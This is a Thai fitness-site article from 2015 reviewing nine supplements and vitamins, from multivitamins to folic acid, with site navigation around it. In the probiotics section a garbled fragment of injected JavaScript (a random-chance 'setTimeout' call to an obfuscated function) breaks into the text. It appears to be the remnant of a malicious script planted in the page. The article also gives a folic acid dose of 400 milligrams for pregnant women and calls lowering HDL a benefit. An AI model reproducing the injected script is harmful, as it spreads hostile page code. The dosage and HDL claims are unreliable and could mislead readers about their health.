• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

อาหารเสริมและวิตามิน

stepextra by stepextra
27 October 2015
in Feature, Healthy Tips, Tips & Technics
0
อาหารเสริมและวิตามิน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

สารอาหารและวิตามินที่มีผลกระทบกับตัวร่างกายมนุษย์หลักๆ มาจาก อาหารมื้อหลักที่กินอยู่ทุกวัน ส่วนอาหารเสริมและวิตามิน ควรจะซื้อมารับประทานหรือไม่ เรามีคำเเนะนำมาฝากกันครับ

มาดูกันว่า อาหารเสริมและวิตามิน เราควรรับตัวไหนบ้าง…

1. Multivitamins อาหารเสิมหรือวิตามินรวม ข้ามไปได้เลย เพราะการรับสารอาหารวิตามินรวมต่างๆ จะมาจากอาหารมื้อหลัก และอาหารหลักที่ดีคววรเป็นแบบ Balance diet ด้วย

รู้หรือไม่ว่า…การรับวิตามินรวมที่มากเกินไปมีผลเสียต่อร่างกาย มีการศึกษาในปี 2012 พบว่าในกลุ่มตัวอย่างผู้หญิง 39,000 คน อายุ 25 ปีขึ้นไป ที่รับวิตามินรวมระยะยาว มีโอกาสเสี่ยงที่จะเสียชีวิตมากกว่าคนที่ไม่รับ

food-669249_640

2. วิตามิน D ซื้อมากินได้ เพราะช่วยให้กระดูกแข็งแรง ร่างกายสกัดจากอาหารได้ยาก แต่ถ้าไม่อยากซื้อก็ออกตากแดดยามเช้าบ้าง ร่างกายจะได้มีเวลาสังเคราะห์วิตามิน D

น่าเสียดายที่สารวิตามินไม่ค่อยพบในอาหารมากเท่าไหรนัก และวิตามิน D ก็มีหน้าที่สำคัญในการดูดซึมแคลเซียม ทำให้กระดูกเราแข็งแรง และตามการวิจัยพบว่า คนที่รับวิตามิน D จะอายุยืน

3. Antioxidant สารต่อต้านอนุมูลอิสระ หากรับมามากเกินไปก็มีความเสี่ยงต่อการเกิดมะเร็งได้เหมือนกัน เลี่ยงพวกอาหารเม็ดวิตามินแล้วไปกินพวกผลไม้ดีกว่า

วิตามิน A,C และ E คือสารต่อต้านอนุมูลอิสระที่สามารถพบได้ในผักผลไม้อยู่แล้ว โดยเฉพาะผลไม้ตระกูล Berry และการศึกษาระยะยาวกับกลุ่มตัวอย่างผู้ชายสูบบุหรี่ และรับวิตามิน A เป็นประจำ จะมีโอกาสเสี่ยงเป็นมะเร็งปอดมากกว่าคนสูบบุหรี่ที่ไม่รับซะอีก

4. วิตามิน C กินไปก็ไม่แก้ไข้หวัดได้หรอก ไปกินส้มมะนาวยังดีกว่า เพราะการศึกษาไม่พบว่าวิตามิน C จะช่วยป้องกันโรคไข้หวัดได้ แถมการรับในริมาณมากๆ 2000 มิลลิกรัมหรือมากกว่า จะทำให้เกิดนิ่วที่ไตได้ ถ้าอยากได้วิตามิน C จริงๆ ก็ไปซื้อผลพวกตระกูล Berry อย่าง สตอเบอรี่ส้มและมะนาวที่ตลาดดีกว่า

5. วิตามิน B3 ไม่ต้องซื้อกิน ถ้าอยากได้ ต้องกิน ทูนา แซลมอนและผลบีรูต ทั้งนี้ในการศึกษาพบว่า วิตามิน B3 ไม่ได้มีผลช่วยรักษา Alzheimer และโรคหัวใจใดๆ

food-782622_640

ผลงาวิจัยปี 2014 กับกลุ่มตัวอย่าง 25,000 คน ที่เป็นโรคหัวใจ และรับวิตามิน B3 ในระยะยาว เพื่อช่วยยกระดับสุขภาพผู้ป่วยให้ดีขึ้น อย่างการลดค่า HDL และ cholesterol พบว่าก็ไม่ได้ช่วยลดโอกาสเกิดหัวใจกำเริบ ความดันสูงและการตายเพียงอย่างใด

ผลเสียของการการรับวิตามิน B3 มากเกินไป จะมีโอกาสเสี่ยงที่จะทำให้เกิดภาะติดเชื้อ ตับอักเสบและเลือดออกภายใน

6. Probiotic สารอาหารพวกโปรไบโอติก วิทยาการวิทยาศาสตร์ในปัจจุบันก็ยังไม่สามารถบ่งบอกผลประโยชน์ที่ชัดเจนจากการรับโปรไบโอติกได้เลย คำแนะนำคือให้ซื้อโยเกริ์ตกินแทน

โปรไบโอติกตามธรรมชาติสามารถพบได้ในโยเกริ์ตและอาหารที่มีกระบวนการหมัก มีราคาถูกกว่าเม็ดยาอาหารโปรไบโอติกด้วย ถึงแม้จะมีปริมาณน้อยกว่า

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-happy-2014-6″>ความเชื่อที่ว่าการมีแบคทีเรียที่ดีในลำไส้ จะช่วยดูแลรักษาสุขภาพเรานั้นบางครั้งก็ไม่เสมอไป อาจจะช่วยได้บาง ไม่ช่วยเลยหรือเป็นผลเสียถ้ามีมากไปก็ได้ ยาเม็ดโปรไบโอติกไม่ได้แก้รักษาโรคได้ทุกอย่าง

7. Zinc แนะนำให้ซื้อกินครับ เป็นส่วนช่วยให้หายจากอาการไข้หวัดได้เร็วขึ้น มีการศึกษาพบว่าเป็นหนึ่งในส่วนผสมที่สำคัญในการต่อสู้กับไข้หวัด (interfere with the replication of rhinoviruses)

ในงานวิจัยปี 2011 ได้จัดกลุ่มเปรียบเทียบผู้ป่วยไข้หวัดที่รับ Zinc และไม่รับ Zinc พบว่า กล่มคนที่รับ Zinc จะหายเร็วกว่า อาการไข้ไม่รุนแรงด้วย

vegetables-933204_640

8. วิตามิน E ไม่ควรซื้อมารับประทาน เพราะการรับวิตามิน E มากเกินไปอาจเป็นสาเหตุทำให้เกิดมะเร็งได้ วิตามิน E ค่อนข้างดังเพราะว่าช่วยลดการเกิดมะเร็ง แต่งานวิจัย 2011 กับกลุ่มผู้ชาย 36,000 คนพบว่า การรับวิตามิน E มากๆ จะมีโอกาสเป็นมะเร็งมากกว่าซะอีก และในงานวิจัยปี 2005 พบว่าการรับวิตามิน E ในปริมาณมาก เสี่ยงถึงตายได้ ถ้าอยากได้วิตามิน E ก็ควรกินพวกผักเขียว สลัดจะดีกว่า

9. Folic acid คนท้องหรืออยากมีลูกก็ควรหาติดไว้ เจ้า Folic acid คือสารวิตามิน B ที่ร่างกายใช้ในการสร้างเซลล์ และจากงานวิจัยของ National Institutes of Health แนะนำผู้หญิงที่ตั้งครรภ์ ควรรับ Folic acid 400 มิลลิกรัมต่อวัน เพื่อการเจริญเติบโตของตัวอ่อนที่ดี

นอกจากนี้บางงานวิจัยพบว่าการรับ Folic acid ก่อนและระหว่างตั้งครรภ์ ช่วยลดความเสี่ยงในการแท้ง อาการผิดปรกติของเด็กอย่าง อาการพิการสมองและไขสันหลัง

ที่มา www.businessinsider.com

ShareTweetShare
stepextra

stepextra

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • 5 สิ่งที่ควรทำก่อนออกกำลังกาย

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.